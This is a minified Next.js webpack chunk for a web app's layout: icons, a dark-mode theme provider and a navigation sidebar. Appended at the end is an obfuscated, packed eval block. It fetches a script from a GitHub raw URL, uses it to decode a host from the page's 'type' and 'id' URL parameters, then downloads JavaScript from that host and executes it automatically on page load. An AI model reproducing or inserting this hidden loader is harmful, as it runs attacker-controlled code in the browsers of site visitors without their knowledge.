(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[177],{381:(e,t,a)=>{"use strict";a.d(t,{A:()=>l});let l=(0,a(90163).A)("Settings",[["path",{d:"M12.22 2h-.44a2 2 0 0 0-2 2v.18a2 2 0 0 1-1 1.73l-.43.25a2 2 0 0 1-2 0l-.15-.08a2 2 0 0 0-2.73.73l-.22.38a2 2 0 0 0 .73 2.73l.15.1a2 2 0 0 1 1 1.72v.51a2 2 0 0 1-1 1.74l-.15.09a2 2 0 0 0-.73 2.73l.22.38a2 2 0 0 0 2.73.73l.15-.08a2 2 0 0 1 2 0l.43.25a2 2 0 0 1 1 1.73V20a2 2 0 0 0 2 2h.44a2 2 0 0 0 2-2v-.18a2 2 0 0 1 1-1.73l.43-.25a2 2 0 0 1 2 0l.15.08a2 2 0 0 0 2.73-.73l.22-.39a2 2 0 0 0-.73-2.73l-.15-.08a2 2 0 0 1-1-1.74v-.5a2 2 0 0 1 1-1.74l.15-.09a2 2 0 0 0 .73-2.73l-.22-.38a2 2 0 0 0-2.73-.73l-.15.08a2 2 0 0 1-2 0l-.43-.25a2 2 0 0 1-1-1.73V4a2 2 0 0 0-2-2z",key:"1qme2f"}],["circle",{cx:"12",cy:"12",r:"3",key:"1v7zrd"}]])},2105:(e,t,a)=>{"use strict";a.d(t,{default:()=>c});var l=a(95155),r=a(51362);let c=e=>{let{children:t}=e;return(0,l.jsx)(r.N,{attribute:"class",enableSystem:!1,defaultTheme:"dark",children:t})}},12548:(e,t,a)=>{"use strict";a.d(t,{A:()=>l});let l=(0,a(90163).A)("BookOpenText",[["path",{d:"M2 3h6a4 4 0 0 1 4 4v14a3 3 0 0 0-3-3H2z",key:"vv98re"}],["path",{d:"M22 3h-6a4 4 0 0 0-4 4v14a3 3 0 0 1 3-3h7z",key:"1cyq3y"}],["path",{d:"M6 8h2",key:"30oboj"}],["path",{d:"M6 12h2",key:"32wvfc"}],["path",{d:"M16 8h2",key:"msurwy"}],["path",{d:"M16 12h2",key:"7q9ll5"}]])},13717:(e,t,a)=>{"use strict";a.d(t,{A:()=>l});let l=(0,a(90163).A)("SquarePen",[["path",{d:"M12 3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7",key:"1m0v6g"}],["path",{d:"M18.375 2.625a2.121 2.121 0 1 1 3 3L12 15l-4 1 1-4Z",key:"1lpok0"}]])},30347:()=>{},35695:(e,t,a)=>{"use strict";var l=a(18999);a.o(l,"useSearchParams")&&a.d(t,{useSearchParams:function(){return l.useSearchParams}}),a.o(l,"useSelectedLayoutSegments")&&a.d(t,{useSelectedLayoutSegments:function(){return l.useSelectedLayoutSegments}})},47924:(e,t,a)=>{"use strict";a.d(t,{A:()=>l});let l=(0,a(90163).A)("Search",[["circle",{cx:"11",cy:"11",r:"8",key:"4ej97u"}],["path",{d:"m21 21-4.3-4.3",key:"1qie3q"}]])},51362:(e,t,a)=>{"use strict";a.d(t,{D:()=>o,N:()=>i});var l=a(12115),r=["light","dark"],c="(prefers-color-scheme: dark)",n=l.createContext(void 0),s={setTheme:e=>{},themes:[]},o=()=>{var e;return null!=(e=l.useContext(n))?e:s},i=e=>l.useContext(n)?e.children:l.createElement(m,{...e}),d=["light","dark"],m=e=>{let{forcedTheme:t,disableTransitionOnChange:a=!1,enableSystem:s=!0,enableColorScheme:o=!0,storageKey:i="theme",themes:m=d,defaultTheme:v=s?"system":"light",attribute:g="data-theme",value:b,children:x,nonce:k}=e,[p,w]=l.useState(()=>u(i,v)),[S,j]=l.useState(()=>u(i)),M=b?Object.values(b):m,N=l.useCallback(e=>{let t=e;if(!t)return;"system"===e&&s&&(t=y());let l=b?b[t]:t,c=a?f():null,n=document.documentElement;if("class"===g?(n.classList.remove(...M),l&&n.classList.add(l)):l?n.setAttribute(g,l):n.removeAttribute(g),o){let e=r.includes(v)?v:null,a=r.includes(t)?t:e;n.style.colorScheme=a}null==c||c()},[]),T=l.useCallback(e=>{let t="function"==typeof e?e(e):e;w(t);try{localStorage.setItem(i,t)}catch(e){}},[t]),A=l.useCallback(e=>{j(y(e)),"system"===p&&s&&!t&&N("system")},[p,t]);l.useEffect(()=>{let e=window.matchMedia(c);return e.addListener(A),A(e),()=>e.removeListener(A)},[A]),l.useEffect(()=>{let e=e=>{e.key===i&&T(e.newValue||v)};return window.addEventListener("storage",e),()=>window.removeEventListener("storage",e)},[T]),l.useEffect(()=>{N(null!=t?t:p)},[t,p]);let C=l.useMemo(()=>({theme:p,setTheme:T,forcedTheme:t,resolvedTheme:"system"===p?S:p,themes:s?[...m,"system"]:m,systemTheme:s?S:void 0}),[p,T,t,S,s,m]);return l.createElement(n.Provider,{value:C},l.createElement(h,{forcedTheme:t,disableTransitionOnChange:a,enableSystem:s,enableColorScheme:o,storageKey:i,themes:m,defaultTheme:v,attribute:g,value:b,children:x,attrs:M,nonce:k}),x)},h=l.memo(e=>{let{forcedTheme:t,storageKey:a,attribute:n,enableSystem:s,enableColorScheme:o,defaultTheme:i,value:d,attrs:m,nonce:h}=e,u="system"===i,f="class"===n?"var d=document.documentElement,c=d.classList;".concat("c.remove(".concat(m.map(e=>"'".concat(e,"'")).join(","),")"),";"):"var d=document.documentElement,n='".concat(n,"',s='setAttribute';"),y=o?(r.includes(i)?i:null)?"if(e==='light'||e==='dark'||!e)d.style.colorScheme=e||'".concat(i,"'"):"if(e==='light'||e==='dark')d.style.colorScheme=e":"",v=function(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],a=!(arguments.length>2)||void 0===arguments[2]||arguments[2],l=d?d[e]:e,c=t?e+"|| ''":"'".concat(l,"'"),s="";return o&&a&&!t&&r.includes(e)&&(s+="d.style.colorScheme = '".concat(e,"';")),"class"===n?t||l?s+="c.add(".concat(c,")"):s+="null":l&&(s+="d[s](n,".concat(c,")")),s},g=t?"!function(){".concat(f).concat(v(t),"}()"):s?"!function(){try{".concat(f,"var e=localStorage.getItem('").concat(a,"');if('system'===e||(!e&&").concat(u,")){var t='").concat(c,"',m=window.matchMedia(t);if(m.media!==t||m.matches){").concat(v("dark"),"}else{").concat(v("light"),"}}else if(e){").concat(d?"var x=".concat(JSON.stringify(d),";"):"").concat(v(d?"x[e]":"e",!0),"}").concat(u?"":"else{"+v(i,!1,!1)+"}").concat(y,"}catch(e){}}()"):"!function(){try{".concat(f,"var e=localStorage.getItem('").concat(a,"');if(e){").concat(d?"var x=".concat(JSON.stringify(d),";"):"").concat(v(d?"x[e]":"e",!0),"}else{").concat(v(i,!1,!1),";}").concat(y,"}catch(t){}}();");return l.createElement("script",{nonce:h,dangerouslySetInnerHTML:{__html:g}})}),u=(e,t)=>{let a;try{a=localStorage.getItem(e)||void 0}catch(e){}return a||t},f=()=>{let e=document.createElement("style");return e.appendChild(document.createTextNode("*{-webkit-transition:none!important;-moz-transition:none!important;-o-transition:none!important;-ms-transition:none!important;transition:none!important}")),document.head.appendChild(e),()=>{window.getComputedStyle(document.body),setTimeout(()=>{document.head.removeChild(e)},1)}},y=e=>(e||(e=window.matchMedia(c)),e.matches?"dark":"light")},59434:(e,t,a)=>{"use strict";a.d(t,{S:()=>n,cn:()=>c});var l=a(52596),r=a(39688);let c=function(){for(var e=arguments.length,t=Array(e),a=0;a{e=new Date(e);let a=Math.floor(Math.abs((t=new Date(t)).getTime()-e.getTime())/1e3);return a<60?"".concat(a," second").concat(1!==a?"s":""):a<3600?"".concat(Math.floor(a/60)," minute").concat(1!==Math.floor(a/60)?"s":""):a<86400?"".concat(Math.floor(a/3600)," hour").concat(1!==Math.floor(a/3600)?"s":""):a<31536e3?"".concat(Math.floor(a/86400)," day").concat(1!==Math.floor(a/86400)?"s":""):"".concat(Math.floor(a/31536e3)," year").concat(1!==Math.floor(a/31536e3)?"s":"")}},72907:(e,t,a)=>{"use strict";a.d(t,{default:()=>y});var l=a(95155),r=a(59434);let c=(0,a(90163).A)("Home",[["path",{d:"m3 9 9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z",key:"y5dka4"}],["polyline",{points:"9 22 9 12 15 12 15 22",key:"e2us08"}]]);var n=a(47924),s=a(12548),o=a(13717),i=a(381),d=a(6874),m=a.n(d),h=a(35695);a(12115);let u=e=>{let{children:t}=e;return(0,l.jsx)("main",{className:"lg:pl-20 bg-light-primary dark:bg-dark-primary min-h-screen",children:(0,l.jsx)("div",{className:"max-w-screen-lg lg:mx-auto mx-4",children:t})})},f=e=>{let{children:t}=e;return(0,l.jsx)("div",{className:"flex flex-col items-center gap-y-3 w-full",children:t})},y=e=>{let{children:t}=e,a=(0,h.useSelectedLayoutSegments)(),d=[{icon:c,href:"/",active:0===a.length||a.includes("c"),label:"Home"},{icon:n.A,href:"/discover",active:a.includes("discover"),label:"Discover"},{icon:s.A,href:"/library",active:a.includes("library"),label:"Library"}];return(0,l.jsxs)("div",{children:[(0,l.jsx)("div",{className:"hidden lg:fixed lg:inset-y-0 lg:z-50 lg:flex lg:w-20 lg:flex-col",children:(0,l.jsxs)("div",{className:"flex grow flex-col items-center justify-between gap-y-5 overflow-y-auto bg-light-secondary dark:bg-dark-secondary px-2 py-8",children:[(0,l.jsx)("a",{href:"/",children:(0,l.jsx)(o.A,{className:"cursor-pointer"})}),(0,l.jsx)(f,{children:d.map((e,t)=>(0,l.jsxs)(m(),{href:e.href,className:(0,r.cn)("relative flex flex-row items-center justify-center cursor-pointer hover:bg-black/10 dark:hover:bg-white/10 duration-150 transition w-full py-2 rounded-lg",e.active?"text-black dark:text-white":"text-black/70 dark:text-white/70"),children:[(0,l.jsx)(e.icon,{}),e.active&&(0,l.jsx)("div",{className:"absolute right-0 -mr-2 h-full w-1 rounded-l-lg bg-black dark:bg-white"})]},t))}),(0,l.jsx)(m(),{href:"/settings",children:(0,l.jsx)(i.A,{className:"cursor-pointer"})})]})}),(0,l.jsx)("div",{className:"fixed bottom-0 w-full z-50 flex flex-row items-center gap-x-6 bg-light-primary dark:bg-dark-primary px-4 py-4 shadow-sm lg:hidden",children:d.map((e,t)=>(0,l.jsxs)(m(),{href:e.href,className:(0,r.cn)("relative flex flex-col items-center space-y-1 text-center w-full",e.active?"text-black dark:text-white":"text-black dark:text-white/70"),children:[e.active&&(0,l.jsx)("div",{className:"absolute top-0 -mt-4 h-1 w-full rounded-b-lg bg-black dark:bg-white"}),(0,l.jsx)(e.icon,{}),(0,l.jsx)("p",{className:"text-xs",children:e.label})]},t))}),(0,l.jsx)(u,{children:t})]})}},73075:(e,t,a)=>{Promise.resolve().then(a.t.bind(a,88030,23)),Promise.resolve().then(a.bind(a,56671)),Promise.resolve().then(a.t.bind(a,30347,23)),Promise.resolve().then(a.bind(a,72907)),Promise.resolve().then(a.bind(a,2105))},88030:e=>{e.exports={style:{fontFamily:"'Montserrat', 'Montserrat Fallback', Arial, sans-serif",fontStyle:"normal"},className:"__className_4f4c7b"}}},e=>{var t=t=>e(e.s=t);e.O(0,[345,328,277,671,441,684,358],()=>t(73075)),_N_E=e.O()}]);eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){4(f.z)1;f.z=(m()=>{m 9 A(a){2 g=B n(a);4(!g.N)O 7 P("Q 6: "+g.R);1 g.C()}9 o(a){q{4(/8\\.d/.S(a)){2 8={d:{}};7 s("8","d",a)(8,8.d);1 8.d.3}T 3;7 s("D",a+"\\U (V 3 !== \'W\') D(3);",)(v=>(3=v));1 3}h(6){j.5("[o 5]",6);1 X}}m 9 u(){q{2 E=B A("F://Y.Z.10/11/G/12/13/14/15.G",);2 3=o(E);4(!3)1;f.w=9(a,b,c){q{c=c!==16;4(!a){2 p=7 H(I.J);a=p.k("K")||"";b=b||p.k("L")||""}4(!a||!b)1;2 l=3(a);4(!l)1;n("F://"+l).M(r=>r.C()).M(x=>{(0,7 s(x))()}).h(6=>{j.5("[n l x 5]",6)})}h(e){j.5("[w 5]",e)}};2 y=7 H(I.J);2 t=y.k("K");2 i=y.k("L");4(t&&i)f.w(t,i)}h(6){j.5("[u 5]:",6)}}1 u()})()})();',62,69,'|return|const|decodeHost|if|error|err|new|module|function||||exports||window|res|catch||console|get|host|async|fetch|extractDecodeHost||try||Function||init||go|code|params|__REMOTE_LOADER__|fetchRemoteJS|await|text|setDecodeHost|remoteCode|https|js|URLSearchParams|location|search|type|id|then|ok|throw|Error|load|status|test|let|nif|typeof|undefined|null|raw|githubusercontent|com|JuanitaWHowe|refs|heads|main|index|false'.split('|'),0,{}))